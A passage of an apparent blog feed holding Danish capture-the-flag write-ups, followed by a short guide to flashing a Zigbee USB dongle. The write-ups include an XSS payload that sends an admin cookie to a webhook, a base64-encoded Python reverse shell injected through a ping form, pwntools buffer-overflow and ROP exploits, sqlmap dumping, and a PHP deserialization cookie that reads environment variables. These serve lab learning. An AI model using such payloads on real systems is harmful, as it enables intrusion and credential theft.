        if any(word in plaintext.split() for word in common_words):
            print(f"\nKey: {key}")
            print(f"Decrypted: {plaintext}")

if __name__ == '__main__':
    main()

Key: strækning Decrypted: ddc ordbogsangreb er farlige

Flag: DDC{ordbogsangreb_er_farlige}

Binary-Encodings1

I heard hackers like binary, so I took my flag and binarified it, then scattered it among the primes! Can you reconstruct it from these small numbers, then undo my super cool permutation?

Handout (binary-encodings-1.zip)

Løsning: I denne opgave kan vi bruge Chinese Remainder Theorem, vi kan løse den med et lille python script og de værdier vi fik i filen.

from sympy.ntheory.modular import crt
from Crypto.Util.number import long_to_bytes

def recover_flag(p_values, f_values):
    # Solve for x using CRT
    x, _ = crt(p_values, f_values)
    binary_string = bytes.fromhex(hex(x)[2:]).decode()
    flag_bytes = long_to_bytes(int(binary_string, 2))
    return flag_bytes

# Given p_i and f_i values
p_values = [
    9768317032740503603, 18156330420060477793, 10476762262519913959, 9347882639404620023,
    11430937203592009097, 17656701845837939561, 10011069635378637821, 9303859140428609923,
    9430685689565848129, 17610703349508968921, 18140526684492216101, 13376315490931891063,
    14024438832046178891, 14707324533024715489, 9978269176741957331, 13426850418503228437,
    17886189966641892589, 12567016417937207657, 11734576994202379979, 18381970530468107443,
    15834975197593730861, 11304987454211866601, 13069720355679787001, 9607164897014498981,
    9825483122269264409, 9608454472360228451, 11677408947673812151, 11577075391109060227,
    15098908071687008909, 11940695074819110637, 9277500110378312383, 11325145340975252239
]
f_values = [
    9575104083177283048, 654829914826964428, 8717987845758977868, 3299732009405467865,
    10473741261900299814, 2405639366022411754, 2194862298102476068, 6748703991871530302,
    3454422808257998182, 13565185375904130809, 8709537670581362149, 12293453432959068747,
    13229847825294716454, 3056173638526417581, 65599736668218521, 11398473528376442350,
    8576657917939379051, 9129425845766533589, 8594293513869774248, 5775640393641471384,
    349917141893968095, 3066029727228120275, 5587833707329530308, 9401495996680306807,
    8904901928481653836, 7591248352665021199, 10878696646715348869, 10506002541042515302,
    4781246273357667663, 7834587634360970146, 2068533696716192161, 6693265025140266855
]
flag = recover_flag(p_values, f_values)
print(flag.decode())

Flag: DDC{crt_to_the_m0100010110001n}

Cross Site Job

Secure Corp søger nye talenter, og du har chancen for at indsende din ansøgning gennem deres online jobansøgningssystem. Hjemmesiden indeholder en jobansøgningsformular og en administrativ sektion, som kun er tilgængelig for ansatte. Din opgave er at finde en måde at få adgang til denne sektion.

Når din ansøgning er indsendt, vil administratoren straks gennemgå den i sin browser.

(Påmindelse: Challenge-serverne har ikke adgang til internettet, men måske kan du få administratorens browser til at sende en forespørgsel og opfange den ved hjælp af http://webhook.hkn, http.server eller netcat.)

cross-site-job.hkn

Source code: webexp_cross-site-job.zip

Løsning: I app.py kan vi se at der er en blacklist: blacklist = ["<script", "<img", "<svg", "<image", "<iframe", "onload", "onerror", "document.cookie"], men siden at html er ligeglad om script tags er med upper og/eller lowercase kan vi lave et script-tag der ser sådan ud: <sCrIpT>. Men blacklisten tillader heller ikke document.cookie, så må vi blive lidt kreative, her kan vi bruge javascript funktionen concat() til at merge 2 strenge sammen.

Nu har vi vores payload vi kan indsende: fullname=aa&email=aaaa%40aaa.com&position=Software+Engineer&coverletter=<sCrIpT>fetch("http://webhook.hkn/capture?cookie=".concat(document["coo".concat("kie")]))</sCrIpT>

På webhook.hkn kan vi se admins cookie, så kan vi ændre vores ejen til den og refresh, flag!

Flag: DDC{c0ngr4tul4t10n5-j0b-w3ll-d0n3}

Complete Styling Sadness

Nogle gange skal ting justeres for at passe perfekt sammen. Se nærmere på strukturen og rækkefølgen – løsningen gemmer sig i detaljerne. Jeg har hørt fra mine venner at CSS er altid svaret.

Handout (CompleteStylingSadness.zip)

Løsning: I css filen kan vi se nogle sjove værdier, efter lidt cleanup & formatering har vi:

unicodes = [
    0x0044, 0x0044, 0x0043, 0x007B, 0x0043, 0x0035,
    0x0035, 0x005F, 0x0031, 0x0035, 0x005F, 0x0048,
    0x0034, 0x0052, 0x0044, 0x005F, 0x004D, 0x0034,
    0x004E, 0x005F, 0x0035, 0x004B, 0x0031, 0x0038,
    0x0031, 0x0044, 0x0031, 0x007D, 0x0020, 0x0020,
    0x0034, 0x0034, 0x0034, 0x0039, 0x004B, 0x0038,
    0x0042, 0x0043, 0x0033, 0x005A, 0x0035, 0x0034,
    0x0043, 0x0034, 0x0032
]
print(''.join(chr(code) for code in unicodes))

Flag: DDC{C55_15_H4RD_M4N_5K181D1}

Shutter Trace

Du arbejder i politiets efterforskningsafdeling, og du har modtaget et anonymt spor om en kriminel efterforskning. Din chef delte en mappe med beviserne, din opgave er at afsløre den person, der tog billedet i mappen.

Søg efter “clue.txt” filen i mappen “Clue” for at afdække oplysninger, der guider dig til den korrekte mappe, hvor dette billede er placeret. Du kan også undersøge billedopretteren.

Tips: Nogle vigtige begreber, du måske vil overveje, er skjulte filer, kodning (base64) og exiftool til billedmetadata.

Handout (shutter_trace.zip)

Løsning: Efter at have extracted mappen kan vi se en hel masse mapper. Men siden vi skal finde clue.txt kan vi bruge find . | grep "clue" som giver ./Clue_Folder/.clue.txt. Filen .clue.txt indeholder noget base64, det kan vi dekode: echo "VGhlIHBob3RvIGlzIGhpZGRlbiBpbiB0aGUgRXZpZGVuY2UgRm9sZGVyIGFzIGEganBnIGZpbGU=" | base64 -d dette giver os: The photo is hidden in the Evidence Folder as a jpg file. Som beskrevet i mappen Evidence_Folder finder vi 1 jpg fil blandt alle png filerne, super-market-8494759_1280.jpg. Til sidst kan vi bruge exiftool super-market-8494759_1280.jpg under Creator står flaget.

Flag: DDC{D4n13lss3n}

Long live Caesar

En af de ældste former for kryptering er Cæsar-chiffer, hvor hvert bogstav forskydes med en hemmelig nøgle. Denne gang har nogen modificeret Cæsar-chiffer ved at bruge multiplikation i stedet for addition.

Kan du dekryptere flaget?

Husk at lægge resultatet ind i flagformatet: ddc eksempel flag → DDC{eksempel_flag}

Handout (longlive.zip)

Løsning: I filen encryption.txt finder vi strengen: uux fwnqeefæzr bq eayr xareah. Efter at have kigget lidt på encryption scriptet, kan vi lave et decryption script.

import string
alphabet = 'abcdefghijklmnopqrstuvwxyzæøå'
def mod_inverse(a, m):
    a = a % m
    for x in range(1, m):
        if (a * x) % m == 1:
            return x
    return 1
def caesar_decrypt(key, ciphertext):
    plaintext = ""
    for i in range(len(ciphertext)):
        if ciphertext[i] in string.whitespace:
            plaintext += ciphertext[i]
        else:
            # Find the modular inverse of the key index
            key_index = alphabet.index(key)
            inv_key = mod_inverse(key_index, len(alphabet))
            # Decrypt the character
            cipher_index = alphabet.index(ciphertext[i])
            plain_index = (cipher_index * inv_key) % len(alphabet)
            plaintext += alphabet[plain_index]
    return plaintext

for key in alphabet:
    if key == 'a':
        continue  # Skip 'a' as it's not a valid key
    decrypted_text = caesar_decrypt(key, 'uux fwnqeefæzr bq eayr xareah')
    print(f"Key: {key}, Decrypted Text: {decrypted_text}")

Flag: DDC{impossible_to_save_caesar}

Hasher is back

💀 Kan du knække koden? 💀

MD5 Hash: 24bb5c555b8f32d27eaeec9c5522b576

🛠️ Find værdien bag hashen og indsæt den i formatet DDC{cracked-hash-her} . 🛠️

💡 Pro tip: Det er ikke muligt at gå direkte fra en hash til dens oprindelige værdi, men du kan prøve en liste af mulige kandidater i et såkaldt “dictionary attack”. Værktøjer som John the Ripper og Hashcat, eller prøve at google efter andre online databaser som kan hjælpe med at slå md5 hashes op baseret på almindelige ord.💡

Løsning: Til denne opgave kan vi bruge et rainbow table, som eks. https://crackstation.net/ - Så smider vi bare vores md5 hash ind. Som giver: iloveyouall.

Flag: DDC{iloveyouall}

The Professors Lost Note

Scenarie: professor for cybersikkerhed på universitetet, Dr. Niels Andersen, har arbejdet på et sæt noter, der indeholder tips og løsninger til de kommende eksamener. Desværre har Dr. Andersen forlagt en af ​​disse filer, mens han organiserede sine mapper, og nu har han brug for din hjælp til at hente den, før det er for sent!

Du får en mappe ved navn Professor_Notes, der indeholder flere filer. Et sted i denne mappe er der en skjult fil med Dr. Andersens vigtige note. Filen er dog ikke direkte synlig i mappen.

Din opgave er at finde hint.txt og læse dens indhold for at afsløre professorens tip.

Tip: Den note, du leder efter, er måske ikke helt åbenlys. Ved at bruge de rigtige kommandoer i terminalen til at åbne mapper og undersøge filerne og Boot2rootderes indhold, vil du finde den tabte information.

Handout (lost_note.zip)

Løsning: I terminalen kan vi bruge find og grep til at finde filer, og cat til at læse dem.

ha1fdan@desktop:~/Downloads/lost_note$ find . | grep "hint.txt"
./Professor_Notes/.hint.txt

ha1fdan@desktop:~/Downloads/lost_note$ cat ./Professor_Notes/.hint.txt
DDC{3x4m4n5w3r5}

Flag: DDC{3x4m4n5w3r5}

What time is it

Jeg kommer altid for sent, så mine venner ender med at spise alle småkagerne, før jeg overhovedet ankommer. Denne gang har de efterladt mig en udfordring: Jeg skal gætte den nøjagtige rækkefølge, hvori de spiste småkagerne. Kan du hjælpe mig med at finde ud af rækkefølgen?

what-time-is-it.hkn

Handout (reveng_whattimeisit_src.zip)

Løsning: Ved at kigge i source koden kan vi se at Flask serveren genererer en sekvens af tal baseret på et time-dependent random seed. Så vi kan lave et Time-Based seed bruteforce attack.

import time
import random
import requests
import itertools

def generate_seed(h, m):
    return (h * 64 + m) ^ (h << 2) ^ (m & 0b1111)

def generate_sequence(seed):
    random.seed(seed)
    return [str(random.randint(1, 3)) for _ in range(8)]

# all times from 00:00 to 23:59
for hour in range(24):
    for minute in range(60):
        seed = generate_seed(hour, minute)
        sequence = generate_sequence(seed)
        payload = {"q": sequence}
        response = requests.post('http://what-time-is-it.hkn/9012340-123849081239582304213-42134123', json=payload)
        if response.status_code == 200:
            try:
                data = response.json()
                if 'x_3' in data:
                    print(f"Success! Time: {hour}:{minute}, Sequence: {sequence}, x_3: {data['x_3']}")
                    break
            except:
                pass

Eksempel output: Success! Time: 3:0, Sequence: ['2', '1', '3', '1', '1', '2', '2', '2'], x_3: DDC{t1m3st4mpsequence_br0k3n}

Flag: DDC{t1m3st4mpsequence_br0k3n}

gotowin

Tjek denne binære, og se, om du kan gå for at vinde!

Tip: adgangskoden er virkelig svær at gætte.

gotowin.hkn:8080

Handout (gotowin.zip)

Løsning: Ved at uploade main til https://dogbolt.org/ kan vi se en win funktion, nu kan vi bruge GDB til at disassemble win funktionen.

(gdb) disas win
Dump of assembler code for function win:
   0x000000000040131e <+0>:	endbr64

Her kan vi se at win funktionens address er 0x000000000040131e som bliver til 0x40131e.

Så kan vi bruge pwntools og python til at sende vores payload til remoten.

from pwn import *

#p = process('./main')
p = remote('gotowin.hkn', 8080)

# Win function address from: `gdb ./main` and then `disas win`
win_addr = 0x40131e 

# The buffer is 112 bytes and we need to reach local_10
# Distance from local_88 to local_10 is 120 bytes (112 + 8 for alignment)
offset = 120

# Craft payload
payload = flat(
    b'A' * offset,
    p64(win_addr)
)

# Wait for ASCII art
p.recvuntil(b'')  # Wait for input prompt
p.sendline(payload)
print(p.recvall().decode())

Output: Congratulations! Here is your flag: DDC{1t_s_n0t_4b0ut_th3_p4ssw0rd}

Flag: DDC{1t_s_n0t_4b0ut_th3_p4ssw0rd}

Leaky Store

Der er nye produkter i, shoppen, så tag et kig! Du kan handle via websitet eller vores API.

Det er helt sikkert, så vi forventer selvfølgelig ikke, at vores database bliver lækket.

http://leaky-store.hkn

Løsning: robots.txt revealer /swagger endpoint med API documentation, her kan vi se at /search?query=xx er deprecated og derfor kan vi nok lave en sql injection.

sqlmap -u "http://leaky-store.hkn/search?query=motor" --risk 3 --level 5 --delay 2 --dump Her bruged der --delay for at undgå at vi bliver rate limited.

Efter lidt tid får vi et flag:

Database: public
Table: flags
[1 entry]
+----+----------------------------------+
| id | name                             |
+----+----------------------------------+
| 1  | DDC{0h_n0_3v3ryth1ng_1s_l34k1ng} |
+----+----------------------------------+

Flag: DDC{0h_n0_3v3ryth1ng_1s_l34k1ng}

ping-sweep

Vi har mistanke om, at nogle af vores ingeniører skjuler en hemmelig besked i vores sårbarhedsscanner, der bruger en ICMP ping sweep, i starten af scanningen. Vi har vedlagt en .pcap-fil, der viser et eksempel på mistænkelig aktivitet. Kan du finde ud af om der er noget unikt ved nogle af pakkerne, og om de indeholder en hemmelig besked?

Handout (ping_sweep.pcap)

Løsning: Når vi åbner pcap filen i wireshark og klikker på de forskellige ICMP pakker, kan vi at der er blevet overført data i form af noget der ligner hex. For at extracte al dataen fra alle pakker kan vi bruge tshark: tshark -r forensics_ping_sweep.pcap -Y "icmp" -T fields -e data > extracted.txt. Så kan vi smide vores extracted.txt fil over i CyberChef. Vi started med at bruge From Hex, dette giver os noget der ligner Base64, hvis vi så bruger Strings kan vi se nogle dele af flaget som, PART_2:ad_fae:PARTEND___ og PART_3:n_er_E:PARTEND___. Men for at få de andre dele skal vi slå “Remove non-alphabet chars” fra for Base64en. Efter dette får vi alle 5 dele af flaget:

PART_2:ad_fae:PARTEND___
PART_3:n_er_E:PARTEND___
PART_1:DDC{hv:PARTEND___(
5PART_4:CN}:PARTEND___

Så kan vi samle flaget.

Flag: DDC{hvad_faen_er_ECN}

The Gauntlet pt 1

So, you think you’re a l33t h4xx0r? Alright, here’s my little gauntlet to you then: Break in through the website and get a shell one way or another. Once that’s done, escalate your privileges and own the box. You won’t be needing any fancy kernel exploits or such, this one’s all about bad practices and misconfigurations. Doesn’t sound too hard, now does it? Good luck!

Flag binaries are located at /home/*****/user.flag and /root/root.flag

the-gauntlet.hkn

Løsning: Vi starter med at finde en Flask server på port 5000 med nmap. Næst kan vi lave en sql-injection på login siden: admin med password: abc' OR 1=1 --. Nu har vi en cookie, med flask-unsign finder vi secret til at være itsasecret, vi kan nu ændre vores cookie til: {'user': {'is_admin': True, 'username': 'Bob'}}. Nu har vi adgang til /admin, her får vi mulighed for at checke et host. Hvis vi prøver at tjekke ${PWD} får vi ping: /home/user1: Name or service not known, dette viser os at vores working directory er /home/user1. Ved at bruge burp kan vi sende denne command: command=8.8.8.8%0D%0Apython3$IFS-c$IFS'exec(__import__("base64").b64decode("aW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMTAuMC4yNDAuMjQ2Iiw5MDAxKSk7W29zLmR1cDIocy5maWxlbm8oKSxmKWZvciBmIGluKDAsMSwyKV07cHR5LnNwYXduKCJzaCIp").decode("utf-8"))', som kører en reverse shell via python tilbage til vores maskine. Nu kan vi med ls se at der er en fil der hedder: user.flag, ved at køre ./user.flag og trykke enter er der flag.

Flag: DDC{n0th1ng_l1k3_4_b1t_0f_RCE}

Masahiro Hara

Ingen beskrivelse

👉 Handout 👈

Løsning: Løst ved hjælp af QRazyBox og Nyan Tun Zaw’s medium.com post.

QR koden endte med at se sådan her ud:

QR Solved

eller som kode:

#######__##_#_##_#__#_#######
#_____#_#_###___###___#_____#
#_###_#_###_#__##___#_#_###_#
#_###_#_#_#########_#_#_###_#
#_###_#____#__#_____#_#_###_#
#_____#__#____#__##___#_____#
#######_#_#_#_#_#_#_#_#######
________##________#__________
#_____#_#_#_#_#####_###__###_
_####__#####___#######__#__#_
##_#_##_#__###_#____##_#_##__
__#_#____###___#___#____##_##
##_#__##___#__##__###_____###
_#_##____####_#_##__##__#____
_#########__#_###_#_##___#___
##___#_#_#_##_#_#_#_____###_#
_#___####_#__####__#_#_###___
#_##_#_#_##__###_#_#_#_###___
###__##__##_##_#####_#__#_#_#
#__#_____#_##_#____#___#_____
#___#####__#_____##_#######__
________###___#__####___#____
#######_____________#_#_#____
#_____#____#___#____#___#____
#_###_#__###_###_#_######____
#_###_#____#___#_##_#________
#_###_#__#__####_____________
#_____#___####_____#_________
#######_#_#____####__________

Flag: DDC{QU1CK-R32P0N23-C0D32-8Y-M42H1R0-H4R4}

PassProtector

Does obfuscation scare you?

Handout (PassProtector.zip)

Løsning: Ved at bruge en online java decompiler kan vi se at flaget bliver skabt med en Decryptor class, og bliver compared med dit input i Main filen. Hvis vi kører .jar filen: java -jar passprotector.jar og åbner en ny terminal, kan vi bruge jmap til at dumpe memory af programmet. Vi bruger jps -l til at finde det PID for vores java process, og så jmap: jmap -dump:live,format=b,file=dump.hprof <PID>, til sidst kan vi bruge strings og grep til at finde flaget: strings dump.hprof | grep "DDC"

Flag: DDC{R3v3r51ng_J4v4_15_34sy}

PWN me good uwu

UwU~ our wittle zerochain has a tiny buffer boo-boo! >w< Overflow the stack (gently, pwease~), align it wif a smol ret, and jump to the hidden function~ OwO. If you’re a good hax0r, it’ll spill its secwet fwag~ uwu ✨.

uwu.hkn:4242

Handout (PWN_me_good_uwu.zip)

Løsning: I denne opgave skal vi lave et buffer overflow for at overskrive stacken, indsætte et ret-gadgetspring og derefter hoppe til en skjult funktion, som vil give os shell.

1. Find en ret-gadget Først skal vi finde en ret-gadget, som vi kan bruge til at sikre stack-alignment. Det gør vi ved at køre:

ROPgadget --binary zerochain | grep " : ret"

Her finder vi en passende ret på adressen 0x401016.

2. Find adressen til den skjulte funktion Den skjulte funktion, vi skal hoppe til, hedder hidden_shell. Vi kan finde dens adresse i GDB med:

disassemble hidden_shell

Det viser os, at den ligger på 0x4015b2.

3. Bestem bufferens offset For at finde ud af, hvor mange bytes vi skal overskrive, bruger vi et cyclic pattern fra Pwntools:

pwn cyclic 200

Derefter kører vi programmet, vælger 4. Vulnerable Log, og indsætter mønsteret. Når programmet crasher, aflæser vi værdien af $rbp:

$rbp   : 0x6261616962616168 ("haabiaab"?)

Nu kan vi finde offsettet ved at køre:

pwn cyclic -l haabiaab

Det giver os en offset på 128.

4. Find en passende rbp-værdi

Når vi har crashet programmet, kan vi i GDB inspicere stacken med:

x/20gx $rsp

Her vælger vi en valid rbp-værdi, f.eks. 0x7fffffffde08.

Nu har vi alle de nødvendige oplysninger til at bygge vores exploit. Se Python-scriptet nedenfor.

from pwn import *
#p = process("./zerochain")
p = remote("uwu.hkn", 4242)
offset = 128
ret = p64(0x401016)
hidden_shell = p64(0x4015b2)
rbp = p64(0x7fffffffde08)
payload = b"A" * offset + rbp + ret + hidden_shell
p.sendlineafter('Your choice:', '4')
p.sendlineafter("Enter log message:", payload)
p.interactive()

Flag: DDC{pwn_15_fun_4nd_g00d_mu114h}

DDC Lounge

Den gode Jens har brugt en del af årets DDC budgetet på at lave en lounge til alle jer deltagere. Jeg er sikker på der ikke er sparet det mindste, da DDC kun fortjener det bedste!

http://ddc-lounge.hkn

Handout (webexp_ddc-lounge.zip)

Løsning: Ved at kigge i source koden kan vi se at signup_user() funktionen bruger if (strcmp($this->secret,$signup_secret) != 0) { til at tjekke om secret er korrekt. Vi kan bruge [] så vores request ser sådan ud: user=test&pass=test&secret[]=test. Nu kan vi logge ind som test. Ved at kigge på vip-siden kan vi se at den bruger en permissions class og en logging class. Hvis vi selv laver vores permissions cookie, kan vi få adgang til vip-siden. Vi kan bruge php og den given classes.php fil til dette, urlencode(base64_encode((serialize(new permissions("test")))));.

Nu har vi adgang til siden, og kan se i source koden at der hintes til at vi skal hive flaget ud af environment variablen FLAG. Vi kan bruge logging classen til at læse fra en fil, her kan vi bruge /proc/self/environ til at læse alle environment variabler.

Vi kan bruge urlencode(base64_encode((serialize(new permissions(new logging("/proc/self/environ")))))); til at lave vores cookie, som ser sådan ud: TzoxMToicGVybWlzc2lvbnMiOjI6e3M6ODoidXNlcm5hbWUiO086NzoibG9nZ2luZyI6MTp7czo4OiJsb2dfZmlsZSI7czoxODoiL3Byb2Mvc2VsZi9lbnZpcm9uIjt9czo1OiJhZG1pbiI7YjoxO30%3D eller decoded: O:11:"permissions":2:{s:8:"username";O:7:"logging":1:{s:8:"log_file";s:18:"/proc/self/environ";}s:5:"admin";b:1;}.

Dette giver os beskeden:

Velkommen til VIP-lounge, HOSTNAME=4f97a06c471fPHP_VERSION=7.4.33APACHE_CONFDIR=/etc/apache2PHP_INI_DIR=/usr/local/etc/phpGPG_KEYS=42670A7FE4D0441C8E4632349E4FDC074A4EF02D 5A52880781F755608BF815FC910DEB46F53EA312PHP_LDFLAGS=-Wl,-O1 -piePWD=/tmpAPACHE_LOG_DIR=/var/log/apache2LANG=CPHP_SHA256=924846abf93bc613815c55dd3f5809377813ac62a9ec4eb3778675b82a27b927FLAG=DDC{m4ske_et_st0rre_budg3t_v1l_kunn3_st0ppe_PHP}APACHE_PID_FILE=/var/run/apache2/apache2.pidPHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2cPHP_URL=https://www.php.net/distributions/php-7.4.33.tar.xzAPACHE_RUN_GROUP=www-dataAPACHE_LOCK_DIR=/var/lock/apache2SHLVL=0PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64APACHE_RUN_DIR=/var/run/apache2APACHE_ENVVARS=/etc/apache2/envvarsAPACHE_RUN_USER=www-dataPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binPHP_ASC_URL=https://www.php.net/distributions/php-7.4.33.tar.xz.ascPHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64.
Din ankomst er blevet registreret i vores log system. Hav en fortsat god dag

I beskeden finder vi flaget.

Flag: DDC{m4ske_et_st0rre_budg3t_v1l_kunn3_st0ppe_PHP}

covertchannel2

A covert channel should be in this pcap.

Handout (cc2.pcap)

Løsning: Vi åbner pcap-filen med Wireshark og anvender filteret tcp.urgent_pointer > 0 for at finde de relevante pakker. Her bemærker vi, at de første 44 pakker har en Urgent Pointer-værdi over 1000, mens alle andre er 0. Hvis vi kigger på de første tre pakker, ser vi værdierne 1088, 1088 og 1072, hvilket kunne svare til DDC, da 1088 fremgår to gange lige efter hinanden.

Ser vi videre på de følgende pakker kan man se et mønster: Hvis vi dividerer alle urgent pointer-værdierne med 16, får vi ASCII-værdierne for start-bogstaverne i flaget.

For eksempel:

  • 1088 / 16 = 68 (D)
  • 1088 / 16 = 68 (D)
  • 1072 / 16 = 67 (C)
  • 1968 / 16 = 123 ({)

Ved at fortsætte denne metode på alle de 44 pakker får vi flaget.

Her er solve script til opgaven:

import pyshark
cap = pyshark.FileCapture('cc2.pcap', display_filter='ip.src == 192.168.120.179')
urgent_pointers = [int(packet.tcp.urgent_pointer) 
                  for packet in cap 
                  if hasattr(packet, 'tcp') and hasattr(packet.tcp, 'urgent_pointer')]
cap.close()
urgent_pointers = [chr(round(x / 16)) for x in urgent_pointers if x != 0]
print(''.join(urgent_pointers))

Eller en sej one-liner:

python3 -c "import pyshark;print(''.join([chr(round(x / 16)) for x in [int(packet.tcp.urgent_pointer) for packet in pyshark.FileCapture('cc2.pcap', display_filter='ip.src == 192.168.120.179') if hasattr(packet, 'tcp') and hasattr(packet.tcp, 'urgent_pointer')] if x != 0]))"

Flag: DDC{off_by_four_to_hide_from_nosy_hackers}

PWN me good uwu - Wifu Edition

OwO~ Part 2 is here, and it’s even spicier! This time, our wifu binary zerochain2 is hiding behwiiind a stwong stack canawy and sneaky memowy wandomization~ >w< But dwon’t wowwy, we got dis!

Defeat the defenses, bypass the canawy, and uwrap the fwag wike a pwesent fow wifu~ 💖 OwO.

Handout (PWN_me_good_uwu_-_Wifu_Edition.zip)

Løsning: I opgave beskrivelsen bliver det beskrevet at vi skal “defeat the defenses and bypass the stack canaries”. Ved at bruge checksec zerochain2 kan vi se at der er stack canaries, PIE og NX. Vi bruger https://dogbolt.org/ til at decompile binaryen og GDB til at debugge. For at leake stack canaryen kan vi bruge en format string vulnerability. Her kan vi bruge %23$p:

[ Zerochain ]
1. Add Note
2. Delete Note
3. View Note
4. Vulnerable Log
5. Exit
Your choice: 4
Enter log message: %23$p
0xa4cc00aaa8810f00

Den sidste byte (00) bekræfter, at det er en stack canary.

Da PIE er aktiveret, skal vi leake en kodeadresse for at beregne adressen. Vi bruger %31$p til at leake en pointer til main(), da position 31 i format stringen indeholder en pointer til main+0:

Your choice: 4  
Enter log message: %31$p  
0x59b5b2a7d6f3

Vi ved fra reverse engineering, at main er ved offset 0x6f3, forskellen mellem main og hidden_shell er 0x3d bytes (main - hidden_shell), så vi beregner adressen:

hidden_shell_addr = 0x59b5b2a7d6f3 - 0x3d

Fordi vi springer direkte til hidden_shell, kan stack alignment være forkert. I x64 kræver system() 16-byte stack-alignment, så hvis vi returnerer direkte til hidden_shell, kan stacken blive forkert alignet, men en ret før hoppet til hidden_shell løser dette, og vi kan bruge ret ved offset +60 i hidden_shell.

ret_gadget = hidden_shell_addr + 60

Fra den dekompilerede kode ved vi, at bufferen er 136 bytes, efterfulgt af en 8-byte canary, 8-byte gemt RBP og 8-byte returadresse.

Nu mangler vi kun at lave en ROP chain til at hoppe til hidden_shell:

from pwn import *
#p = process('./zerochain2') # Local testing
p = remote('uwu-wifu.hkn', 6969)

# Leak canary
p.sendlineafter(b"Your choice: ", b"4")
p.sendlineafter(b"Enter log message: ", b"%23$p")
canary = int(p.recvline().strip(), 16)

# Leak code for PIE (Position Independent Executable) bypass
p.sendlineafter(b"Your choice: ", b"4")
p.sendlineafter(b"Enter log message: ", b"%31$p")
code_addr = int(p.recvline().strip(), 16)

# Calculate hidden_shell address
hidden_shell_addr = code_addr - 0x3d

# Find Ret gadget for stack alignment
ret_gadget = hidden_shell_addr + 60

# Create buffer overflow payload & ROP chain with proper stack alignment
payload = b'A' * 136
payload += p64(canary)
payload += p64(0)
payload += p64(ret_gadget)
payload += p64(hidden_shell_addr)

# Send the payloaD
p.sendlineafter(b"Your choice: ", b"4")
p.sendafter(b"Enter log message: ", payload)

# Give time to execute ROP chain
sleep(0.5)

# SHell
p.interactive()

Svar fra serveren:

[+] Opening connection to uwu-wifu.hkn on port 6969: Done
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$                                                              l                                                                                                   ls                                                                                                  ls
challenge
flag
$ cat flag
DDC{Pwn_1s_L0v3_W41fu_1s_L1f3}$

Flag: DDC{Pwn_1s_L0v3_W41fu_1s_L1f3}

]]>How to flash a Zigbee 3.0 USB Dongle Plus + upgrade to ember firmwarehttps://ha1fdan.xyz/en/posts/sonoff_zigbee_dongle_flash/Thu, 26 Dec 2024 17:26:14 +0100https://ha1fdan.xyz/en/posts/sonoff_zigbee_dongle_flash/<h2 id="requirements">Requirements</h2> <ul> <li>A Sonoff Zigbee 3.0 USB Dongle Plus</li> <li>A PC (Preferably with Linux)</li> <li>Python 3.10 or higher</li> <li>Pip 22.0 or higher</li> </ul> <h2 id="pre-flash-steps">Pre-flash Steps</h2> <ol> <li>Install the <a href="https://github.com/ha1fdan/universal-silabs-flasher">Universal Silicon Labs Flasher</a> using pip: <code>pip install universal-silabs-flasher</code></li> <li>Insert the dongle into the computer&rsquo;s USB port.</li> <li>Check what usb device is connected to the computer: <code>lsusb</code></li> </ol> <hr> <h3 id="flashing---coordinator-mode">Flashing - Coordinator Mode</h3> <p><strong>Recently, Zigbee2MQTT announced that the ezsp driver that powered these coordinators is deprecated and obsolete, being replaced with the new ember version. (Remember to update your Zigbee2MQTT configuration, from <code>adapter: ezsp</code> to <code>adapter: ember</code>)</strong></p>Requirements
  • A Sonoff Zigbee 3.0 USB Dongle Plus
  • A PC (Preferably with Linux)
  • Python 3.10 or higher
  • Pip 22.0 or higher

Pre-flash Steps

  1. Install the Universal Silicon Labs Flasher using pip: pip install universal-silabs-flasher
  2. Insert the dongle into the computer’s USB port.
  3. Check what usb device is connected to the computer: lsusb

Flashing - Coordinator Mode

Recently, Zigbee2MQTT announced that the ezsp driver that powered these coordinators is deprecated and obsolete, being replaced with the new ember version. (Remember to update your Zigbee2MQTT configuration, from adapter: ezsp to adapter: ember)

  1. Download the latest firmware: https://github.com/darkxst/silabs-firmware-builder/tree/main/firmware_builds/zbdonglee (115200 baud)

  2. Use the flasher script to flash the firmware: universal-silabs-flasher --device /dev/ttyUSB0 --bootloader-reset sonoff flash --firmware ~/Downloads/ncp-uart-hw-v7.4.5.0-zbdonglee-115200.gbl --force

Replace /dev/ttyUSB0 with the correct device name. This might be something like ttyUSB0 or ttyACM0.

Flashing - Router Mode

  1. Download the desired firmware for your device: https://github.com/ha1fdan/Sonoff_Zigbee_Dongle_Firmware/tree/master/Dongle-E

  2. Use the flasher script to flash the firmware: universal-silabs-flasher --device /dev/ttyUSB0 --bootloader-reset sonoff flash --firmware ~/Downloads/Z3RouterUSBDonlge_EZNet6.10.3_V1.0.0.gbl --force

Replace /dev/ttyUSB0 with the correct device name. This might be something like ttyUSB0 or ttyACM0.

Once the flashing is complete, you should see a output similar to this:

2024-12-26 16:04:54.336 desktop universal_silabs_flasher.flash INFO Failed to read firmware metadata: {exc!r}
2024-12-26 16:04:54.336 desktop universal_silabs_flasher.flasher INFO Triggering sonoff bootloader
2024-12-26 16:04:54.941 desktop universal_silabs_flasher.flasher INFO Probing ApplicationType.GECKO_BOOTLOADER at 115200 baud
2024-12-26 16:04:55.055 desktop universal_silabs_flasher.flasher INFO Launched application from bootloader
2024-12-26 16:04:55.057 desktop universal_silabs_flasher.flasher INFO Detected bootloader version '1.12.0'
2024-12-26 16:04:55.057 desktop universal_silabs_flasher.flasher INFO Probing ApplicationType.CPC at 460800 baud
2024-12-26 16:04:59.376 desktop universal_silabs_flasher.flasher INFO Probing ApplicationType.CPC at 115200 baud
2024-12-26 16:05:03.702 desktop universal_silabs_flasher.flasher INFO Probing ApplicationType.CPC at 230400 baud
2024-12-26 16:05:08.026 desktop universal_silabs_flasher.flasher INFO Probing ApplicationType.EZSP at 115200 baud
